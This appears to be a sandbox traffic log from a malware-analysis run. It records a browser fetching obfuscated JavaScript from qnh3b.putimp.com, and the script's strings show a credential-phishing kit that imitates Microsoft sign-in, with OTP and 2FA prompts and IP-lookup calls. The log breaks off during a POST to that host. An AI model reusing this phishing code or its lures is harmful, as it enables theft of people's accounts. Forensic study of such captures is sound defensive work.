2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 85 d5 b8 01 2d 92 5a bf 87 34 cd c0 3e 65 9e 2f 01 5a 66 15 4c 66 2a 54 35 47 19 d0 70 91 a6 15 9b 82 43 6d c1 ba 05 5c 5a 02 8e b2 3b 2d c1 a7 66 40 fb 6d 9e b9 36 6c a3 88 40 4e 4f 63 9f f6 bb e6 ac c5 81 43 73 09 90 52 6a 9b 3c 6f 5b 2d ac fe c4 56 3f 81 72 42 56 57 a6 ed 4e e8 0a 15 51 d4 8c fe ba 0c 61 bf 8a 56 84 96 60 fd 57 1d d4 64 13 9a 90 a7 8b 89 35 60 8b 3c b7 b7 76 cf d3 be da d0 82 50 1b dc 81 52 9f 2b 78 b5 85 1a db 2f 23 11 ee 7e 0f 9c d7 f5 b8 cb 06 d1 4f 79 55 8a 13 9b 6a a8 95 46 95 37 af 7b 7d 90 cb 24 1d 9e 26 31 5b 76 a7 8e 76 62 74 7b e0 dc a7 f1 6e 9f 45 d5 21 b2 23 85 2c cb e7 31 09 a3 7a 4c d0 45 20 b1 44 fe 05 66 c7 02 03 dc df d5 bb 25 f4 ec 02 f0 c1 23 0b fa 7f ae 9b 73 07 7b 16 f5 36 ec ec 00 db ec 7f d4 4b 78 3e 73 73 9f 0a Data Ascii: -Z4>e/ZfLf*T5GpCm\Z;-f@m6l@NOcCsRj<o[-V?rBVWNQaV`Wd5`<vPR+x/#~OyUjF7{}$&1[vvbt{nE!#,1zLE Df%#s{6Kx>ss
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 22 a2 1f 0c a6 17 15 35 20 26 66 83 2f a9 1f 06 73 f8 04 37 8c 40 d8 77 41 da 72 95 b6 eb 8e b2 e1 41 b0 46 46 46 bf ac ac 61 22 51 3f 89 64 1d 59 47 5d ed 9d 30 84 b2 21 83 70 76 cc 01 9b 17 87 88 90 c0 6d c5 28 7e 7b 24 b1 db 2b 83 df 01 79 ec 6e 50 c4 ef 88 71 a8 64 75 dc 4e 6b 61 f7 2c d3 d8 3d d7 06 b0 97 d8 44 ab 65 07 b4 bb 45 c2 e3 55 62 10 69 58 16 18 ff 45 1e a2 6d 55 84 60 bb 94 83 f1 a5 aa 10 eb 80 6a 04 ba dd 16 24 bb cb 76 94 bb db 0e 54 fa b4 dd 28 f7 19 9d a8 f4 59 7b 91 ec f3 f6 a1 d0 17 ec 47 b1 2f ea 42 a1 2f 39 80 62 df 74 12 bc df 77 06 bc 3f 73 01 b9 7e ee 71 e4 fb bb 2d ec ef 7f d2 19 f5 41 7b 18 ef 31 87 58 ef 21 27 d1 79 d4 69 74 9e 74 8d 23 23 9b 2c 50 b6 a6 80 27 3b 52 c2 93 d9 40 c0 e7 aa a0 90 01 f3 29 68 ec d8 71 e2 04 83 80 Data Ascii: "5 &f/s7@wArAFFFa"Q?dYG]0!pvm(~{$+ynPqduNka,=DeEUbiXEmU`j$vT(Y{G/B/9btw?s~q-A{1X!'yitt##,P';R@)hq
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: a9 0e 9b 7a 0d 1a fb bb 45 1f b2 0d c5 5e fe 1c ed b9 cf 1d b1 cb ff c3 15 19 4b 45 99 72 f4 55 91 1e 19 a8 c4 54 55 2d b1 51 87 b3 90 16 ef e0 7c b5 01 7f 11 bf fd 9d cd c4 b3 07 50 b3 bc 50 30 a7 d7 9d 7f c5 ad aa e7 99 f7 23 f3 f4 fd f2 9f f3 60 81 f2 88 91 29 d4 b4 8f ff ff 93 18 65 f9 9f e8 a2 9f d1 80 d3 10 00 43 fc 33 0d 97 86 cc aa 3c 41 79 a5 b8 da 6d 00 aa 75 3c 04 9b 2b 02 72 61 45 50 0c 27 48 8a 66 58 8e 17 c4 72 ff 0a aa a6 1b a6 65 03 00 88 b0 24 13 ca b8 50 54 ad 3e b1 db 03 04 84 eb 88 80 62 38 41 52 34 c3 72 bc 20 96 b6 51 46 51 6b 9b a9 63 98 56 a3 e2 13 15 c2 04 21 e9 30 60 05 83 86 c4 8f e9 a0 a9 ff f0 17 a0 b7 17 e7 07 65 da fd 98 7e d8 04 c0 0d b5 75 78 ca 39 2a af 15 ac 6d 98 37 9c 46 60 a4 51 46 1b 63 ac 64 29 52 a5 49 97 21 53 56 Data Ascii: zE^KErUTU-Q\|PP0#`)eC3<Aymu<+raEP'HfXre$PT>b8AR4r QFQkcV!0`e~ux9*m7F`QFcd)RI!SV
2024-04-16 19:40:10 UTC	437	IN	Data Raw: 59 10 02 01 08 c3 1f 53 20 12 3a ff f4 e0 2a 3e 11 86 58 d0 a7 4b a4 9f 30 43 2a 57 1e f9 93 b6 18 71 90 82 a9 f1 87 99 45 9f 7c 1f 16 c8 19 c3 d1 38 d4 bd 9b 88 dd 02 1a a8 c3 84 0f 01 e8 45 a9 cb 78 33 78 77 42 42 8e 37 24 54 94 07 dc 6f 40 02 cd 02 7e a5 d5 9c 71 cd 4d 9d 2f bd 5f f8 9e be 63 00 40 a8 85 c6 44 18 30 f6 c0 da 0b 27 5c 84 48 51 a2 c5 d8 27 43 26 02 22 92 13 20 64 14 59 b2 e5 a0 3a 99 67 82 e6 ee 72 cf 1d 66 c7 a3 2c 1a da 79 0f 13 14 29 92 e2 71 c9 44 e4 e7 84 a0 c2 9f f7 0e ba a8 11 61 68 5f fa 1d ff f6 b8 d7 09 45 9d f7 18 61 a2 cf d1 a7 76 8f 13 7e b0 51 c5 d3 5b 09 40 57 2c 6f 6b b6 61 22 ea 37 fd 68 16 80 a1 c0 35 c2 0c d2 3a 85 ef 21 50 78 14 9f 15 27 6e bd a6 4d 6a 70 82 bc 56 5c ed c3 07 4f fc db 7e b8 f3 ce 26 a0 dc bc 05 0a 43 Data Ascii: YS :>XK0CWqE\|8Ex3xwBB7$To@~qM/_c@D0'\HQ'C&" dY:grf,y)qDah_Eav~Q[@W,oka"7h5:!Px'nMjpV\O~&C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49784	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:09 UTC	1285	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: qnh3b.putimp.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://qnh3b.putimp.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: RysbfYDjARKRoO+uNhdnUA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-16 19:40:10 UTC	581	IN	HTTP/1.1 400 Bad Request Date: Tue, 16 Apr 2024 19:40:10 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cVjhbux3hJbTiOviPZTTRkpZH%2BMZmdyXRFl2U0vctlIUo38%2BjSlPMzM2sw%2FW25lWHh5QS%2F1f3SkStGW1m0%2FVPaBcq40sFeydhvTWMsXBHr%2F61sIXWsbI%2FWnmc5HcB6ZrmmPN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8756a5411bb753ee-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 19:40:10 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-16 19:40:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49786	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:09 UTC	1400	OUT	GET /56mJNrBuzavr2jeVPN8ZPklcjOHObwtzd89109 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:10 UTC	769	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:10 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56mJNrBuzavr2jeVPN8ZPklcjOHObwtzd89109" Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sPhY16D7iLAGLXzqtBq8AgyHFQlqPeJoc7uWBZXofi9RCebJTZWTC3FHJTK0RSeZZczr43P5gj%2FsKPy%2BBosPIsWDdgsENk5jEltQLZfCzT9UGXYMCSzt5LipHupgsg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a541dadd4521-ATL
2024-04-16 19:40:10 UTC	600	IN	Data Raw: 37 63 39 30 0d 0a 63 6f 6e 73 74 20 5f 30 78 33 63 30 62 36 39 3d 5f 30 78 34 30 62 64 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 66 61 33 65 2c 5f 30 78 37 34 33 61 34 66 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 33 38 61 38 3d 5f 30 78 34 30 62 64 2c 5f 30 78 32 64 38 38 62 36 3d 5f 30 78 31 66 66 61 33 65 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 34 36 31 39 34 34 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 30 62 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 33 31 39 29 29 2f 30 78 32 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 78 32 64 30 29 29 2f 30 78 33 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 66 33 38 61 38 28 30 Data Ascii: 7c90const _0x3c0b69=_0x40bd;(function(_0x1ffa3e,_0x743a4f){const _0x1f38a8=_0x40bd,_0x2d88b6=_0x1ffa3e();while(!![]){try{const _0x461944=-parseInt(_0x1f38a8(0x20b))/0x1+parseInt(_0x1f38a8(0x319))/0x2*(parseInt(_0x1f38a8(0x2d0))/0x3)+parseInt(_0x1f38a8(0
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 36 32 34 2c 30 78 61 31 33 35 63 29 29 3b 76 61 72 20 77 65 62 6e 6f 74 66 6f 75 6e 64 3d 21 5b 5d 2c 6f 74 68 65 72 77 65 62 75 72 6c 3d 27 27 2c 69 6e 74 65 72 61 63 74 65 64 3d 30 78 30 2c 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 73 62 61 63 6b 3d 30 78 30 3b 21 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 66 66 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 33 33 32 29 29 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 64 66 29 5d 5b 5f 30 78 33 63 30 62 36 39 28 30 78 32 65 31 29 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 31 65 37 29 29 26 26 28 76 69 65 77 3d 5f 30 78 33 63 30 62 36 39 28 30 78 32 63 38 29 29 3b 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 33 63 30 62 36 39 28 30 78 32 61 Data Ascii: 624,0xa135c));var webnotfound=![],otherweburl='',interacted=0x0,multipleaccountsback=0x0;!document[_0x3c0b69(0x2ff)](_0x3c0b69(0x332))[_0x3c0b69(0x2df)][_0x3c0b69(0x2e1)](_0x3c0b69(0x1e7))&&(view=_0x3c0b69(0x2c8));document['getElementById'](_0x3c0b69(0x2a
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 78 32 62 65 33 36 39 28 30 78 32 39 32 29 5d 28 5f 30 78 32 62 65 33 36 39 28 30 78 32 39 31 29 29 21 3d 3d 6e 75 6c 6c 26 26 64 6f 63 75 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 5d 28 5f 30 78 32 62 65 33 36 39 28 30 78 31 66 37 29 2b 76 69 65 77 29 5b 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 5d 28 5f 30 78 32 62 65 33 36 39 28 30 78 32 39 31 29 29 5b 5f 30 78 32 62 65 33 36 39 28 30 78 33 30 31 29 5d 28 29 3b 7d 7d 7d 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 69 6e 67 61 6e 69 6d 61 74 69 6f 6e 28 5f 30 78 31 63 62 61 63 63 29 7b 63 6f 6e 73 74 20 5f 30 78 31 66 30 32 32 39 3d 5f 30 78 33 63 30 62 36 39 3b 5f 30 78 31 63 62 61 63 63 3d 3d 30 78 30 26 26 28 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 31 66 30 32 32 39 28 30 78 Data Ascii: x2be369(0x292)](_0x2be369(0x291))!==null&&document['getElementById'](_0x2be369(0x1f7)+view)['querySelector'](_0x2be369(0x291))[_0x2be369(0x301)]();}}}}});function loadinganimation(_0x1cbacc){const _0x1f0229=_0x3c0b69;_0x1cbacc==0x0&&(document[_0x1f0229(0x
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 6c 6c 69 6e 67 27 2c 27 73 63 72 69 70 74 27 2c 27 63 68 65 63 6b 65 64 27 2c 27 76 61 6c 75 65 27 2c 27 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 73 27 2c 27 53 69 67 6e 5c 78 32 30 6f 75 74 5c 78 32 30 61 6e 64 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 77 69 74 68 5c 78 32 30 61 5c 78 32 30 64 69 66 66 65 72 65 6e 74 5c 78 32 30 61 63 63 6f 75 6e 74 27 2c 27 61 6c 74 27 2c 27 5c 78 32 30 3c 61 5c 78 32 30 68 72 65 66 3d 5c 78 32 32 23 5c 78 32 32 5c 78 32 30 64 61 74 61 2d 69 64 3d 5c 78 32 32 27 2c 27 73 65 63 74 69 6f 6e 73 5f 27 2c 27 64 65 73 63 27 2c 27 63 6c 69 63 6b 65 64 27 2c 27 69 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 6f 66 49 6e 66 6f 27 2c 27 75 72 6c 28 5c 78 32 37 27 2c 27 53 65 6e 64 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 Data Ascii: lling','script','checked','value','multipleaccounts','Sign\x20out\x20and\x20sign\x20in\x20with\x20a\x20different\x20account','alt','\x20<a\x20href=\x22#\x22\x20data-id=\x22','sections_','desc','clicked','iAdditionalProofInfo','url(\x27','Send\x20another\x
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 6e 74 41 63 63 65 73 73 41 63 63 6f 75 6e 74 27 2c 27 43 61 6e e2 80 99 74 5c 78 32 30 61 63 63 65 73 73 5c 78 32 30 79 6f 75 72 5c 78 32 30 61 63 63 6f 75 6e 74 3f 27 2c 27 73 65 6c 65 63 74 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 61 64 66 73 28 74 68 69 73 29 27 2c 27 57 65 5c 78 32 30 63 6f 75 6c 64 6e 5c 78 32 37 74 5c 78 32 30 66 69 6e 64 5c 78 32 30 61 6e 5c 78 32 30 61 63 63 6f 75 6e 74 5c 78 32 30 77 69 74 68 5c 78 32 30 74 68 61 74 5c 78 32 30 75 73 65 72 6e 61 6d 65 2e 5c 78 32 30 54 72 79 5c 78 32 30 61 6e 6f 74 68 65 72 2c 5c 78 32 30 6f 72 5c 78 32 30 67 65 74 5c 78 32 30 61 5c 78 32 30 6e 65 77 5c 78 32 30 4d 69 63 72 6f 73 6f 66 74 5c 78 32 30 61 63 63 6f 75 6e 74 2e 27 2c 27 72 65 64 69 72 65 63 74 65 64 5c 78 32 30 62 61 63 6b 5c 78 Data Ascii: ntAccessAccount','Cant\x20access\x20your\x20account?','selectmultipleaccountadfs(this)','We\x20couldn\x27t\x20find\x20an\x20account\x20with\x20that\x20username.\x20Try\x20another,\x20or\x20get\x20a\x20new\x20Microsoft\x20account.','redirected\x20back\x
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 74 65 78 74 27 2c 27 68 61 73 41 74 74 72 69 62 75 74 65 27 2c 27 74 69 6c 65 74 69 74 6c 65 27 2c 27 64 69 76 27 2c 27 69 6e 70 5f 75 6e 61 6d 65 27 2c 27 66 6f 72 45 61 63 68 27 2c 27 67 65 74 27 2c 27 69 50 72 6f 6f 66 45 6d 61 69 6c 27 2c 27 23 62 74 6e 5f 62 61 63 6b 27 2c 27 3c 2f 61 3e 27 2c 27 64 61 74 61 2d 69 64 27 2c 27 62 75 74 74 6f 6e 2e 73 68 6f 77 2d 68 69 64 65 2d 62 74 6e 27 2c 27 73 63 72 69 70 74 5b 73 72 63 5e 3d 5c 78 32 32 27 2c 27 70 6f 73 69 74 69 6f 6e 27 2c 27 70 6f 70 27 2c 27 73 65 63 74 69 6f 6e 5f 75 6e 61 6d 65 27 2c 27 4e 65 78 74 27 2c 27 69 45 6e 74 65 72 50 72 6f 6f 66 44 65 73 63 27 2c 27 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 27 2c 27 68 74 74 70 73 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 69 70 27 Data Ascii: text','hasAttribute','tiletitle','div','inp_uname','forEach','get','iProofEmail','#btn_back','</a>','data-id','button.show-hide-btn','script[src^=\x22','position','pop','section_uname','Next','iEnterProofDesc','.loading-container','https://httpbin.org/ip'
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 5c 78 32 32 6f 66 66 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 65 6d 61 69 6c 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 50 72 6f 6f 66 45 6d 61 69 6c 5c 78 32 32 5c 78 32 30 6e 61 6d 65 3d 5c 78 32 32 69 50 72 6f 6f 66 45 6d 61 69 6c 5c 78 32 32 5c 78 32 30 6d 61 78 6c 65 6e 67 74 68 3d 5c 78 32 32 31 31 33 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 72 65 71 75 69 72 65 64 3d 5c 78 32 32 74 72 75 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 78 32 32 45 6d 61 69 6c 5c 78 32 30 6e 61 6d 65 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 3d 5c 78 32 32 69 50 72 6f 6f 66 49 6e 70 75 74 45 72 72 6f 72 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: \x22off\x22\x20type=\x22email\x22\x20id=\x22iProofEmail\x22\x20name=\x22iProofEmail\x22\x20maxlength=\x22113\x22\x20aria-required=\x22true\x22\x20aria-label=\x22Email\x20name\x22\x20aria-describedby=\x22iProofInputError\x22>\x0a\x20\x20\x20\x20\x20\x20\x2
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 66 72 6f 6d 2d 6c 65 66 74 5c 78 32 30 27 2c 27 23 6d 61 69 6e 4c 6f 61 64 65 72 27 2c 27 63 6f 6c 6f 72 27 2c 27 6d 65 73 73 61 67 65 27 2c 27 74 6f 67 67 6c 65 27 2c 27 39 38 35 76 61 4b 5a 43 57 27 2c 27 73 65 63 74 69 6f 6e 5f 6f 74 70 27 2c 27 68 74 74 70 73 3a 2f 2f 69 70 61 70 69 2e 63 6f 2f 27 2c 27 66 6f 72 27 2c 27 69 6e 70 5f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 27 2c 27 53 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 61 6e 6f 74 68 65 72 5c 78 32 30 77 61 79 27 2c 27 62 6f 64 79 27 2c 27 6c 69 6e 6b 6f 70 74 69 6f 6e 63 6c 69 63 6b 28 74 68 69 73 29 27 2c 27 6d 75 6c 74 69 70 6c 65 61 63 63 6f 75 6e 74 6f 70 74 69 6f 6e 73 27 2c 27 32 66 61 5c 78 32 30 69 73 5c 78 32 30 6f 6e 27 2c 27 65 6d 61 69 6c 27 2c 27 74 65 6c 27 2c 27 70 61 73 73 77 6f 72 64 Data Ascii: from-left\x20','#mainLoader','color','message','toggle','985vaKZCW','section_otp','https://ipapi.co/','for','inp_confirmemail','Sign\x20in\x20another\x20way','body','linkoptionclick(this)','multipleaccountoptions','2fa\x20is\x20on','email','tel','password
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 27 65 72 72 6f 72 5f 6f 74 70 27 2c 27 6e 6f 6e 65 27 2c 27 67 6f 64 61 64 64 79 65 6d 61 69 6c 27 2c 27 6d 61 78 4c 65 6e 67 74 68 27 2c 27 73 65 63 74 69 6f 6e 73 5f 70 64 66 27 2c 27 65 6e 74 65 72 6f 74 70 27 2c 27 72 6f 77 5c 78 32 30 74 69 6c 65 27 2c 27 74 72 75 65 27 2c 27 34 36 37 30 75 4f 47 55 64 48 27 2c 27 73 65 6c 65 63 74 70 72 6f 74 65 63 74 6f 70 74 69 6f 6e 28 74 68 69 73 29 27 2c 27 3c 70 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6d 62 2d 31 36 5c 78 32 32 3e 27 2c 27 62 6c 61 6e 6b 27 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 74 65 78 74 2d 62 6c 6f 63 6b 2d 62 6f 64 79 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 69 45 6e 74 65 72 50 Data Ascii: 'error_otp','none','godaddyemail','maxLength','sections_pdf','enterotp','row\x20tile','true','4670uOGUdH','selectprotectoption(this)','<p\x20class=\x22mb-16\x22>','blank','\x0a\x20\x20\x20\x20\x20\x20<div\x20class=\x22text-block-body\x22\x20id=\x22iEnterP
2024-04-16 19:40:10 UTC	1369	IN	Data Raw: 65 69 76 65 5c 78 32 30 79 6f 75 72 5c 78 32 30 63 6f 64 65 2e 27 2c 27 5c 78 32 32 5c 78 32 30 6f 6e 63 6c 69 63 6b 3d 5c 78 32 32 6c 69 6e 6b 6f 70 74 69 6f 6e 63 6c 69 63 6b 28 74 68 69 73 29 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6c 69 6e 6b 5c 78 32 32 3e 27 2c 27 2e 62 61 6e 6e 65 72 6c 6f 67 6f 27 2c 27 70 61 72 73 65 27 2c 27 69 50 72 6f 6f 66 49 6e 70 75 74 45 72 72 6f 72 27 2c 27 2c 5c 78 32 30 61 6e 64 5c 78 32 30 74 68 65 6e 5c 78 32 30 63 6c 69 63 6b 5c 78 32 30 5c 78 32 32 53 65 6e 64 5c 78 32 30 63 6f 64 65 5c 78 32 32 5c 78 32 30 74 6f 5c 78 32 30 72 65 63 65 69 76 65 5c 78 32 30 79 6f 75 72 5c 78 32 30 63 6f 64 65 2e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 Data Ascii: eive\x20your\x20code.','\x22\x20onclick=\x22linkoptionclick(this)\x22\x20class=\x22link\x22>','.bannerlogo','parse','iProofInputError',',\x20and\x20then\x20click\x20\x22Send\x20code\x22\x20to\x20receive\x20your\x20code.\x0a\x20\x20\x20\x20\x20\x20</div>\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49788	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:09 UTC	1562	OUT	POST /ujHRglEIvSgsknQvpq6iCEG0CKt3VNPydRh7sZbzs6NVsOd6905 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive Content-Length: 29 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://qnh3b.putimp.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; 